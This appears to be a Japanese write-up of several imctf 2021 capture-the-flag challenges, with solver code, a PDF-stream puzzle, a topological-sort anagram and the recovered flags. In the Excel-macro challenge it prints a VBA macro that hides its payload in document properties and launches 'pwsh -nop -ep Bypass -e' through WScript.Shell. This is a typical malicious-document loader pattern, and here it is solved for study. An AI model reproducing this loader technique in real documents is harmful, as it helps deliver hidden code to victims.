TurnOn(False, False, False, False, True, True, True, False, True, False, False, False, False, False, False, True, False)
TurnOn(False, False, False, False, True, True, False, False, False, False, False, False, False, False, False, False, False)
TurnOn(False, False, False, False, False, False, False, False, True, True, False, True, False, False, True, False, False)
TurnOn(False, False, False, False, True, False, True, False, True, False, False, False, False, False, True, False, False)
TurnOn(True, False, False, False, True, False, False, True, True, False, False, True, False, False, True, False, False)
TurnOn(False, False, False, False, True, True, True, False, True, False, False, False, False, False, False, True, False)
TurnOn(False, False, False, False, False, False, False, False, True, True, False, True, False, False, True, False, False)
TurnOn(False, False, False, False, False, False, True, True, True, False, False, False, False, False, True, False, False)
TurnOn(False, False, False, False, True, True, True, False, True, False, False, False, False, False, False, True, False)
TurnOn(False, False, False, False, False, False, True, False, True, False, False, False, False, False, False, False, False)
TurnOn(True, False, False, False, True, False, False, False, False, True, False, True, False, False, True, False, False)
for x in X:
print(x)
$ python3 solve.py
- - - -
| | | | | | | | | | | | | |
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
| | | | | | | | |/ \| |/ |/ \| | | | | | | | | | | | | | | |/ | | | | | |/ | | | | |/ | | | |/ | |
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
imctf{we_will_continue_to_be_together}
nin nin pdf🥷
ヒントに書かれているPDF Stream Dumperで。
imctf{ninpou_kakuremi_no_jyutu}
E・Mo・I・XL 😍
Excelマクロ。
ヒントに書かれているoletoolsで。
Sub GetPayload()
Dim payload As String: payload = vbNullString
Dim ws As Worksheet
Set ws = ThisWorkbook.Worksheets(1)
With ThisWorkbook
With .BuiltinDocumentProperties
payload = payload + .Item(ws.Cells(1048573, 16384).Value)
payload = payload + .Item(ws.Cells(1048574, 16384).Value)
payload = payload + .Item(ws.Cells(1048572, 16384).Value)
payload = payload + .Item(ws.Cells(1048575, 16384).Value)
payload = payload + .Item(ws.Cells(1048576, 16384).Value)
End With
End With
payload = _
"p" & "w" & "s" & "h" & " " & "-" & "n" & "o" & _
"p" & " " & "-" & "e" & _
"p" & " " & "B" & "y" & _
"p" & "a" & "s" & "s" & " " & "-" & "e" & " " + _
payload
CreateObject("WScript.Shell").Run payload
End Sub
セルにはkeywords
とかtitle
とか書かれているので、シートからタイトルとかを集める。
@@@@
@
ystem.Text.Encoding]::Default.GetString(
[System.Convert]::FromBase64String(
(
@("5a", "56", "39", "74", "62", "31", "39", "30", "61", "57", "39", "75", "58", "32", "4a", "35", "58", "32", "4e", "68", "63", "6d", "78", "35", "58", "33", "4a", "68", "5a", "56", "39", "71", "5a", "58", "42", "7a", "5a", "57", "34", "3d") |
ForEach-Object { [char][byte]"0x$_" }
) -join ""
)
)
$txt2 = [System.Text.Encoding]::Default.GetString(
[System.Convert]::FromBase64String(
(
@("5a", "6d", "78", "68", "5a", "79", "41", "36", "49", "47", "6c", "74", "59", "33", "52", "6d", "65", "30", "6c", "66", "63", "6d", "56", "68", "62", "47", "78", "35", "58", "33", "4a", "6c", "59", "57", "78", "73", "65", "56", "39", "79", "5a", "57", "46", "73", "62", "48", "6c", "66", "63", "6d", "56", "68", "62", "47", "78", "35", "58", "33", "4a", "6c", "59", "57", "78", "73", "65", "56", "39", "79", "5a", "57", "46", "73", "62", "48", "6c", "66", "62", "47", "6c", "72", "5a", "56", "39", "35", "62", "33", "56", "39") |
ForEach-Object { [char][byte]"0x$_" }
) -join ""
)
)
$isPassed = ($password -eq $txt)
Write-Host ($isPassed ? "good you are passed" : "incorrect password") -ForegroundColor ($isPassed ? "Green" : "Red")
if ($isPassed) {
Write-Host $txt2 -ForegroundColor Blue
}
$host.UI.RawUI.ReadKey() | Out-Null
なぜか先頭が化けたけど……支障は無い。
imctf{I_really_really_really_really_really_really_like_you}
become monkey🐒
Windows GUIアプリで色々と例外を起こすとパーツが集まるようだけれど……これも動かなかったので、静的解析。
imctf{K3nn3+h_Ha13_i5_a_5up3r_H3r0_G0ri11a_Man}
ppc
anagram🍀
アルファベット26文字の順列で、g
はk
より前、p
はe
より前、…という条件を満たす辞書順最小のものを求める問題。
トポロジカルソート。とはいえ問題サイズが26なので、$O(n^2)$でも$O(n^3)$でも愚直に解けば良い。使える(自分より前に来るものが全て使われている)もので辞書順最小の文字を使うだけで良い。
C = "abcdefghijklmnopqrstuvwxyz"
R = [
("g", "k"),
("p", "e"),
("s", "d"),
("d", "f"),
("u", "a"),
("n", "a"),
("u", "r"),
("z", "t"),
("g", "c"),
("b", "k"),
("i", "j"),
("y", "g"),
("r", "t"),
("c", "s"),
("e", "s"),
("g", "m"),
("e", "d"),
("x", "s"),
("t", "h"),
("k", "s"),
("m", "t"),
("u", "g"),
("n", "e"),
("z", "c"),
("y", "z"),
("y", "t"),
]
U = [False]*len(C)
flag = ""
while not all(U):
for i in range(len(C)):
if not U[i]:
ok = True
for j in range(len(R)):
if R[j][1]==C[i] and not U[C.index(R[j][0])]:
ok = False
if ok:
flag += C[i]
U[i] = True
break
print("imctf{"+flag+"}")
imctf{bijlnopequarvwxygkmzcsdfth}
welcome
welcome🐢
welcome🐢
— Ir0nMaiden (@nu_cybersec) December 18, 2021
フラグ形式 : imctf{画像中の文字列(スペース含む)}#imctf pic.twitter.com/6icHAo3yh8
imctf{1mc7f h3 y0uk050 74n05h1nd3 1773n3 n4k4y0ku y4773n3}